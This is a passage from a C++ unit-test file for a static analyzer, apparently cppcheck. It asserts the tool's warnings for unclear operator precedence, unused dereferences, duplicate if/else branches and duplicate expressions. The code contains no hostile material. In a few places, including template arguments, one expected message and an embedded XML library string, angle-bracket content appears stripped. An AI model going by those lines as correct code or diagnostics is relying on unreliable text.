{\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n 